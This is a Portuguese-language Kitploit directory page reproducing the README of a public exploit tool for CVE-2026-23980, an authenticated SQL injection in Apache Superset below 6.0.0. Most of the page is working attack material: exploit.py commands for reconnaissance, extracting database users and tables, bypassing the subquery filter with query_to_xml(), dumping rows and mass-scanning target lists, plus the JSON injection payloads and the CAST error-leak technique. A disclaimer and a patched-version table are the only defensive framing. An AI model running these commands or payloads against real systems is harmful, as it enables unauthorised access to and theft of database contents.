Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-23980-Exploit — Exploit para CVE-2026-23980 — Injeção SQL baseada em erro autenticada no Apache Superset < 6.0.0 via bypass de sqlExpression | Kitploit
Ferramentas/GitHubGitHub/oscar-mine/cve-2026-23980-exploit
ReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHuboscar-mine/cve-2026-23980-exploit

CVE-2026-23980-Exploit

Exploit para CVE-2026-23980 — Injeção SQL baseada em erro autenticada no Apache Superset < 6.0.0 via bypass de sqlExpression

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
há 4 mesesAinda não revisado
Compartilhar

CVE-2026-23980 - Injeção SQL Autenticada no Apache Superset

root@kitploit:~
    ____
   / __ \
  | |  | |
  | |__| |
   \___\_\

sqlExpression vai direto para a consulta. sem parametrização. sem esperança.

Apache Superset < 6.0.0 permite que usuários autenticados com acesso de leitura realizem injeção SQL baseada em erro por meio dos parâmetros sqlExpression ou where no endpoint /api/v1/chart/data.

O filtro validate_adhoc_subquery() é contornado usando funções XML do PostgreSQL (query_to_xml, etc.) que executam SQL como argumentos de função, invisíveis para o tokenizador sqlparse.

  • CVSS: 6.5 Médio (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • CWE: CWE-89 (Injeção SQL)
  • Afetado: Apache Superset < 6.0.0
  • Corrigido: Apache Superset 6.0.0
  • Autenticação necessária: Sim (acesso de leitura)
  • Banco de dados: PostgreSQL (extração baseada em erro)

Cadeia de ataque

root@kitploit:~
POST /api/v1/chart/data
  -> ChartDataRestApi.data()
  -> QueryContext.get_df_payload()
  -> SqlaTable.get_sqla_query()
  -> coluna adhoc sqlExpression / extras.where injetados
  -> validate_adhoc_subquery() CONTORNADO via query_to_xml()
  -> SQL bruto chega ao PostgreSQL
  -> CAST((...) AS INT) vaza dados no erro da resposta

Instalação

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests

Uso

Reconhecimento - fingerprint e enumeração de fontes de dados

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --check

Testar se uma fonte de dados é injetável

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test

Extrair dados via SQLi baseada em erro

root@kitploit:~
# Versão do banco de dados
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT version()"

# Usuários do banco de dados
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"

# Listar tabelas
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"

# Usuário atual
python3 exploit.py ... --sql "SELECT current_user"

Contornar a validação de subconsulta com query_to_xml()

Quando validate_adhoc_subquery() bloqueia sua consulta (detecta FROM/JOIN):

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass

Isso envolve a consulta em query_to_xml(), que oculta a cláusula FROM do tokenizador.

Despejar múltiplas linhas

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT table_name FROM information_schema.tables" --dump --rows 20

Usar o ponto de injeção WHERE

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --injection-point where

Varredura em massa

root@kitploit:~
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt

Proxy via Burp

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --proxy http://127.0.0.1:8080

Como funciona

Vetores de injeção

sqlExpression (padrão) - injetado na definição de uma coluna:

root@kitploit:~
{
  "columns": [{
    "label": "injected",
    "sqlExpression": "CAST((SELECT version()) AS INT)",
    "expressionType": "SQL"
  }]
}

where - injetado na cláusula extras.where:

root@kitploit:~
{
  "extras": {
    "where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
  }
}

Extração baseada em erro

O exploit usa a conversão de tipos do PostgreSQL para vazar dados:

root@kitploit:~
CAST((SELECT version()) AS INT)

O PostgreSQL não consegue converter uma string em inteiro, então ele lança:

root@kitploit:~
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."

O valor vazado é extraído da mensagem de erro na resposta da API.

Contorno da validação

O has_table_query() do Superset verifica a presença de FROM/JOIN para detectar subconsultas. O query_to_xml() do PostgreSQL executa SQL, mas o oculta como argumento de função:

root@kitploit:~
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')

O tokenizador vê uma chamada de função, não uma cláusula FROM, contornando o filtro.

Análise do patch

Referências

  • NVD - CVE-2026-23980
  • Aviso Apache
  • Quarkslab - Contornando restrições de SQLi no Superset
  • OSS Security
  • CVE-2025-48912 - Contorno de RLS relacionado

Aviso legal

Esta ferramenta é apenas para pesquisa de segurança autorizada. Use somente contra sistemas para os quais você tenha permissão explícita de teste. O autor não é responsável pelo uso indevido.

Baixar ferramenta
Versão
Status
< 4.0.2Vulnerável (sem lista de bloqueio de funções XML)
4.0.2Correção parcial (CVE-2024-39887 - adicionou algumas funções XML à lista de bloqueio)
4.1.0Lista de bloqueio estendida (mais funções XML)
4.1.2Contorno de segurança em nível de linha corrigido (CVE-2025-48912)
6.0.0Correção completa para CVE-2026-23980